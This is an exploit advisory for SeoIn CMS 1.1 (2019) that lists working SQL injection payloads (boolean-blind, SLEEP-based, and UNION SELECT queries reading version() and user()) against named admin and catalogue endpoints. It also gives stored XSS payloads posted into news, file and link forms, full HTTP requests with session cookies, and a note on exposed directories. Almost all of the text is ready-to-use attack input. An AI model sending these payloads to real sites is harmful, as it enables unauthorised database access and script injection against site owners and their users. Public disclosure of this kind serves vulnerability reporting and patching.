# Exploit Title: SeoIn CMS 1.1 - Multiple Vulnerabilities
# Date: 2019-01-14
# Exploit Author: SajjadBnz
# My Email: blackwolf@post.com
# Vendor Homepage: http://seoin.ir
# Version: 1.1
# Tested version: 1.1 - shopping website
# Vulnerability Types: Union-Base SQL Injection, boolean-based blind, Presistent XSS , AND/OR time-based blind , Persistent XSS , Directory/Path Traversal
[+] About :
===========
seoin.ir : We provide web sites and SEO services, or website optimization, in search engines like Google and Yahoo.
our products
Customer Relationship Management Panel Version 1.1
Online Store
Industrial websites
Support Center
http://seoin.ir/#about/8 :
Institute of Information Technology
One of the first companies in the field of web marketing services and website designing in the country, with more than 8 years of legal experience and 12 years of experience ready to provide services to your loved ones.
[ Vulnerabilities ]
[+] 1. AND boolean-based blind
==============================
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 5555=5555
Payload: id=10 AND 5555=5555
Payload: id=83 AND 5555=5555
Payload: id=24 AND 5555=5555
http://www.target.com/home/catpage.php?id=1[SQL]
http://www.target.com/admin/public/product_sub_group/edit.php?id=10[SQL] (in admin panel)
http://www.target.com/admin/public/comment/select_answer.php?id=83[SQL] (in admin panel)
http://www.target.com/admin/public/project/edit.php?id=24[SQL] (in admin panel)
[*] header :
GET /home/catpage.php?id=1%20AND%205555=5555
GET /admin/public/product_sub_group/edit.php?id=10%20AND%205555=5555 (in admin panel)
GET /admin/public/comment/select_answer.php?id=83%20AND%205555=5555 (in admin panel)
GET /admin/public/project/edit.php?id=24 AND 5555=5555 (in admin panel)
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=eiqr4s0j1cgouqqo2nlt2ik1t6
Upgrade-Insecure-Requests: 1
[+] 2. AND/OR time-based blind
==============================
Parameter: id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1 AND SLEEP(5)
http://www.target.com/home/catpage.php?id=1[SQL]
[*] Header :
GET /home/catpage.php?id=1%20AND%20SLEEP(5)
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=eiqr4s0j1cgouqqo2nlt2ik1t6
Upgrade-Insecure-Requests: 1
[+] 3. Union-Based (Basic) SQL Injection
========================================
You should Login as Admin (/admin/login.php)
Parameter: id (GET)
Type: Union-Based (Basic) SQL Injection
Payload: id=-13 UNION SELECT 1,2,version(),user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- -
Payload: id=-24 UNION SELECT 1,2,3,4,5,6,7,8,9,user(),11,version(),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- -
Payload: id=-1 UNION SELECT 1,user(),version(),4,5,6,7,8,9,10,11-- -
Payload: id=-1 UNION SELECT 1,user(),3,4,5,6-- -
Payload: id=-3 UNION SELECT 1,user(),version(),4,5,6,7,8,9,10-- -
Payload: id=-21 UNION SELECT 1,version(),3,4,5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--%20-
http://target.com/admin/public/product/edit.php?id=13[SQL]
http://target.com/admin/public/project/translate.php?id=24[SQL]
http://target.com/admin/public/news/edit.php?id=1[SQL]
http://target.com/admin/public/file/edit.php?id=1[SQL]
http://target.com/admin/public/education/edit.php?id=3[SQL]
http://target.com/admin/public/agency/edit.php?id=1[SQL]
http://target.com/admin/public/employment/edit.php?id=21[SQL]
[*] Header :
GET /admin/public/product/edit.php?id=-13%20UNION%20SELECT%201,2,version(),user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--%20-
GET /admin/public/project/translate.php?id=-24 UNION SELECT 1,2,3,4,5,6,7,8,9,user(),11,version(),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- -
GET /admin/public/news/edit.php?id=-1%20UNION%20SELECT%201,user(),version(),4,5,6,7,8,9,10,11-- -
GET /admin/public/file/edit.php?id=-1%20UNION%20SELECT%201,user(),3,4,5,6-- -
GET /admin/public/education/edit.php?id=-3%20UNION%20SELECT%201,user(),version(),4,5,6,7,8,9,10-- -
GET /admin/public/agency/edit.php?id=-1%20UNION%20SELECT%201,user(),version(),4,5,6,7,8,9,10-- -
GET /admin/public/employment/edit.php?id=-21%20UNION%20SELECT%201,version(),3,4,5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--%20-
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=la3ijqba92l760moephnle58q3
Upgrade-Insecure-Requests: 1
[+] 4. Persistent XSS (Cross-site Scripting) - in Admin Panel
=============================================================
http://target.com/admin/public/news/add.php
[*] header:
POST /admin/public/news/add.php
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target.com/admin/public/news/add.php
Content-Type: multipart/form-data; boundary=---------------------------17937452617934146491585086724
Content-Length: 1022
Connection: keep-alive
Cookie: PHPSESSID=la3ijqba92l760moephnle58q3
Upgrade-Insecure-Requests: 1
post header : news_topic=<script>alert(document.cookie)</script>&news_text=<p><script>alert(document.cookie)</script></p> &news_pic=&news_status=0&news_lang=1&news_reseller=1&news_sort=0
then in this page http://target.com/admin/public/news/select.php Javascript is running
you can place javascript
Another persistent XSS :
POST /admin/public/file/server/add.php
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target.com/admin/public/file/add.php
Content-Type: multipart/form-data; boundary=---------------------------27862807420897948352132776782
Content-Length: 500
Connection: keep-alive
Cookie: PHPSESSID=la3ijqba92l760moephnle58q3
Upgrade-Insecure-Requests: 1
post header : file_topic=<script>alert(document.cookie)</script>&file_file=&file_status=0
Javascript is runing on this page : http://target.com/admin/public/file/select.php
Another persistent XSS :
POST /admin/public/link/server/add.php
POST data : link_name=<script>alert(document.cookie)</script>&link_url=<script>alert(document.cookie)</script>&link_status=0&link_lang=1&link_reseller=1&link_sort=0
Javascript is Runing on this page : http://target.com/admin/public/link/select.php
*NOTE : All pages have this vulnerability
[+] 5. Directory/Path Traversal :
================================
http://target.com/admin/public/
you can found error_log and other php files such as: edit,add & .... in all directories
#EOF
